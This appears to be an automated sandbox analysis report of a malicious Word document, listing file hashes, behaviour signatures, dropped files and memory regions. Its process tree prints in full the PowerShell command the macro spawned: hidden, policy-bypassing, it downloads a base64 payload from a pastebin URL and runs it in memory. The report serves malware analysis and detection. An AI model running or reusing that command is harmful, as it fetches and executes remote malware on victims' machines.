Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-07-2024 01:53

General

  • Target

    5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc

  • Size

    781KB

  • MD5

    0949319f174a220b4e719715d9d5b20e

  • SHA1

    cdebf579f8f30226872d0b5bbeaeaa81877fe9c8

  • SHA256

    5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077

  • SHA512

    9e5f5362ea147aa19ae6ebe74cbf037b2a295343f01cab5b1a44a076954abf3773d77e3fae26e0ebf488b1fde579e2178a75183b6a74a5acb669b4ed503d9632

  • SSDEEP

    6144:rcnOY442OGwG1e3MenWfLds5Gn/RQQDPzuUC3uJXfr2opd91pV0mccMRdWIb8haR:rvCG1PenjQzi5Wyk/yJY0F

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://pastebin.com/raw/pw1Ht9hR

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4748

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E8C31022.emf

    Filesize

    47KB

    MD5

    f8c7ec6da57ae75490132ff35cef2247

    SHA1

    962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8

    SHA256

    849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb

    SHA512

    e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094

  • C:\Users\Admin\AppData\Local\Temp\TCDD19A.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y3v4k2ol.hjm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

    Filesize

    16B

    MD5

    d29962abc88624befc0135579ae485ec

    SHA1

    e40a6458296ec6a2427bcb280572d023a9862b31

    SHA256

    a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

    SHA512

    4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    1KB

    MD5

    fb883578bde26c825e09e1213b6a5327

    SHA1

    6fc3d9c864e50f7e9665badbbf8d4cef21a766b7

    SHA256

    0f61ac437094d5f9c007095169159b852df8456cccde1fa062a18ee9f3659caa

    SHA512

    a1e4807928970d9b8626bb65ebbfd23efdbf65ce28dd2c71e353e176fb439cc0d78fde572672530b50277cc8218c7980da43e90801c435a7609edbde2f9fb566

  • memory/1336-14-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-363-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-10-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-11-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-9-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-0-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

    Filesize

    64KB

  • memory/1336-15-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-13-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-16-0x00007FFE2DE20000-0x00007FFE2DE30000-memory.dmp

    Filesize

    64KB

  • memory/1336-18-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-20-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-19-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-17-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-12-0x00007FFE2DE20000-0x00007FFE2DE30000-memory.dmp

    Filesize

    64KB

  • memory/1336-6-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-38-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-39-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-396-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-8-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-395-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

    Filesize

    64KB

  • memory/1336-5-0x00007FFE6FF8D000-0x00007FFE6FF8E000-memory.dmp

    Filesize

    4KB

  • memory/1336-394-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

    Filesize

    64KB

  • memory/1336-393-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

    Filesize

    64KB

  • memory/1336-2-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

    Filesize

    64KB

  • memory/1336-3-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

    Filesize

    64KB

  • memory/1336-4-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

    Filesize

    64KB

  • memory/1336-218-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-1-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

    Filesize

    64KB

  • memory/1336-7-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-364-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-365-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-366-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-367-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1336-392-0x00007FFE2FF70000-0x00007FFE2FF80000-memory.dmp

    Filesize

    64KB

  • memory/4748-368-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4748-61-0x000002797D790000-0x000002797D806000-memory.dmp

    Filesize

    472KB

  • memory/4748-60-0x000002797D6C0000-0x000002797D704000-memory.dmp

    Filesize

    272KB

  • memory/4748-49-0x0000027964C10000-0x0000027964C32000-memory.dmp

    Filesize

    136KB

  • memory/4748-43-0x00007FFE6FEF0000-0x00007FFE700E5000-memory.dmp

    Filesize

    2.0MB